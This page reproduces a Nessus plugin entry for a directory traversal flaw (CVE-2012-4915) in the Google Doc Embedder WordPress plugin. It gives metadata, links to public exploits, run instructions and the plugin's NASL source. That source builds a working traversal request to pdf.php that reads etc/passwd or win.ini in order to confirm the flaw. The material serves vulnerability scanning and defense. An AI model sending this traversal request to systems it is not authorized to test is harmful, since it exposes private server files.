Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure - Nessus

Medium   Plugin ID: 63687

This page contains detailed information about the Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 63687
Name: Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure
Filename: wordpress_google_doc_embedder_file_disclosure.nasl
Vulnerability Published: 2013-01-03
This Plugin Published: 2013-01-24
Last Modification Time: 2021-01-19
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: wordpress_detect.nasl
Required KB Items [?]: installed_sw/WordPress, www/PHP

Vulnerability Information


Severity: Medium
Vulnerability Published: 2013-01-03
Patch Published: 2012-12-11
CVE [?]: CVE-2012-4915
CPE [?]: cpe:/a:wordpress:wordpress

Synopsis

The remote web server contains a PHP script that is affected by a file disclosure vulnerability.

Description

The Google Doc Embedder Plugin for WordPress installed on the remote host is affected by a file disclosure vulnerability due to a failure to properly sanitize user-supplied input to the 'file' parameter of the 'libs/pdf.php' script. This vulnerability could allow an unauthenticated, remote attacker to read arbitrary files by forming a request containing directory traversal sequences.

Solution

Upgrade to Google Doc Embedder version 2.5 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure vulnerability:

  1. Metasploit: exploit/unix/webapp/wp_google_document_embedder_exec
    [WordPress Plugin Google Document Embedder Arbitrary File Disclosure]
  2. Exploit-DB: exploits/php/webapps/23970.rb
    [EDB-23970: WordPress Plugin Google Document Embedder - Arbitrary File Disclosure (Metasploit)]
  3. GitHub: https://github.com/CERTCC/git_vul_driller
    [CVE-2012-4915]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:N/A:N/E:F/RL:OF/RC:C
CVSS Base Score:5.0 (Medium)
Impact Subscore:2.9
Exploitability Subscore:10.0
CVSS Temporal Score:4.1 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:4.1 (Medium)

Go back to menu.

Plugin Source


This is the wordpress_google_doc_embedder_file_disclosure.nasl nessus plugin source code. This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(63687);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2012-4915");
  script_bugtraq_id(57133);

  script_name(english:"Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure");
  script_summary(english:"Attempts to read a local file.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a file
disclosure vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Google Doc Embedder Plugin for WordPress installed on the remote
host is affected by a file disclosure vulnerability due to a failure
to properly sanitize user-supplied input to the 'file' parameter of
the 'libs/pdf.php' script. This vulnerability could allow an
unauthenticated, remote attacker to read arbitrary files by forming a
request containing directory traversal sequences.");
  # http://ceriksen.com/2013/01/03/wordpress-google-document-embedder-arbitrary-file-disclosure/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?369b2772");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Google Doc Embedder version 2.5 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'WordPress Plugin Google Document Embedder Arbitrary File Disclosure');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/01/03");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/12/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

plugin = 'Google Doc Embedder';

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  path = "/wp-content/plugins/";
  checks[path + "google-document-embedder/js/editor_plugin.js"][0] =
    make_list("longname : 'Google Doc Embedder'");

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );
}
if (!installed)
  audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " plugin");

# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) files = make_list('windows/win.ini', 'winnt/win.ini');
  else files = make_list('etc/passwd');
}
else files = make_list('etc/passwd', 'windows/win.ini', 'winnt/win.ini');

file_pats = make_array();
file_pats['etc/passwd'] = "root:.*:0:[01]:";
file_pats['winnt/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";
file_pats['windows/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";

foreach file (files)
{
  url = "/wp-content/plugins/google-document-embedder/libs/pdf.php?fn=foo.pdf"+
    "&file=" + mult_str(str:"../", nb:12) + file;

  res = http_send_recv3(
    method    : "GET",
    item      : dir + url,
    port         : port,
    exit_on_fail : TRUE
  );

  if (egrep(pattern:file_pats[file], string:res[2]))
  {
    if (report_verbosity > 0)
    {
      snip =  crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      report =
        '\nNessus was able to verify the issue exists using the following request :' +
        '\n' +
        '\n' + install_url + url +
        '\n';
      if (report_verbosity > 1)
      {
        res[2] = data_protection::redact_etc_passwd(output:res[2]);
        report +=
          '\n' + 'This produced the following output :' +
          '\n' +
          '\n' + snip +
          '\n' + chomp(res[2]) +
          '\n' + snip +
          '\n';
      }
      security_warning(port:port, extra:report);
    }
    else security_warning(port);
    exit(0);
  }
}
audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/wordpress_google_doc_embedder_file_disclosure.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\wordpress_google_doc_embedder_file_disclosure.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/wordpress_google_doc_embedder_file_disclosure.nasl

Go back to menu.

How to Run


Here is how to run the Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Google Doc Embedder Plugin for WordPress 'File' Parameter Traversal Arbitrary File Disclosure plugin ID 63687.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wordpress_google_doc_embedder_file_disclosure.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wordpress_google_doc_embedder_file_disclosure.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wordpress_google_doc_embedder_file_disclosure.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wordpress_google_doc_embedder_file_disclosure.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 20241 - Google Search Appliance proxystylesheet Parameter Multiple Remote Vulnerabilities (XSS, Code Exec, ID)
  • 18601 - WordPress < 1.5.1.3 XMLRPC SQL Injection
  • 19414 - WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection
  • 24014 - WordPress Trackback 'wp-trackback.php' 'tb_id' Parameter SQL Injection
  • 25291 - WordPress check_ajax_referer() Function SQL Injection
  • 30109 - WordPress fGallery 'fim_rss.php' 'album' Parameter SQL Injection
  • 30129 - WordPress AdServe 'adclick.php' 'id' Parameter SQL Injection
  • 35370 - WP-Forum Plugin for WordPress 'forum_feed.php' 'thread' Parameter SQL Injection
  • 40577 - WordPress < 2.8.4 Password Reset
  • 40578 - WordPress < 2.8.4 'wp-login.php' 'key' Parameter Remote Administrator Password Reset (uncredentialed check)
  • 47681 - Simple:Press Plugin for WordPress 'value' parameter SQL Injection
  • 51586 - Mingle Forum Plugin for WordPress 'topic' parameter SQL Injection
  • 51860 - WordPress < 3.0.2 Multiple Vulnerabilities
  • 59048 - WordPress < 3.3.2 Multiple Vulnerabilities
  • 62008 - Cloudsafe365 Plugin for WordPress 'file' Parameter Traversal Arbitrary File Access
  • 62205 - Mac Photo Gallery for WordPress 'albid' Parameter Traversal Arbitrary File Access
  • 62414 - WordPress A Page Flip Book Plugin for WordPress 'pageflipbook_language' Parameter Arbitrary Code Execution
  • 63326 - Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion
  • 64245 - Portable phpMyAdmin Plugin for WordPress 'wp-pma-mod' Authentication Bypass
  • 64452 - WordPress < 3.5.1 Multiple Vulnerabilities
  • 64453 - WordPress 'xmlrpc.php' pingback.ping Server-Side Request Forgery
  • 64991 - W3 Total Cache Plugin for WordPress Cache File Direct Request Information Disclosure
  • 65764 - Newsletter Plugin for WordPress 'preview.php' 'data' Parameter Directory Traversal
  • 66304 - W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution
  • 67021 - WordPress < 3.5.2 Multiple Vulnerabilities
  • 69852 - LeagueManager Plugin for WordPress 'wp-admin/admin.php' 'league_id' Parameter SQL Injection
  • 72960 - WordPress < 3.0.1 Security Bypass
  • 73378 - Ajax Pagination (twitter Style) Plugin for WordPress Local File Inclusion
  • 73471 - WordPress < 3.7.2 / 3.8.2 Multiple Vulnerabilities
  • 76071 - Participants Database Plugin for WordPress < 1.5.4.9 'query' Parameter SQL Injection
  • 76072 - Participants Database Plugin for WordPress 'query' Parameter SQL Injection
  • 76526 - MailPoet Newsletters for WordPress Arbitrary File Upload
  • 76873 - TimThumb 'timthumb.php' < 2.8.14 WebShot 'src' Parameter Remote Command Execution
  • 76874 - TimThumb 'timthumb.php' WebShot 'src' Parameter Remote Command Execution
  • 77157 - WordPress < 3.7.4 / 3.8.4 / 3.9.2 Multiple Vulnerabilities

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wordpress_google_doc_embedder_file_disclosure.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

Go back to menu.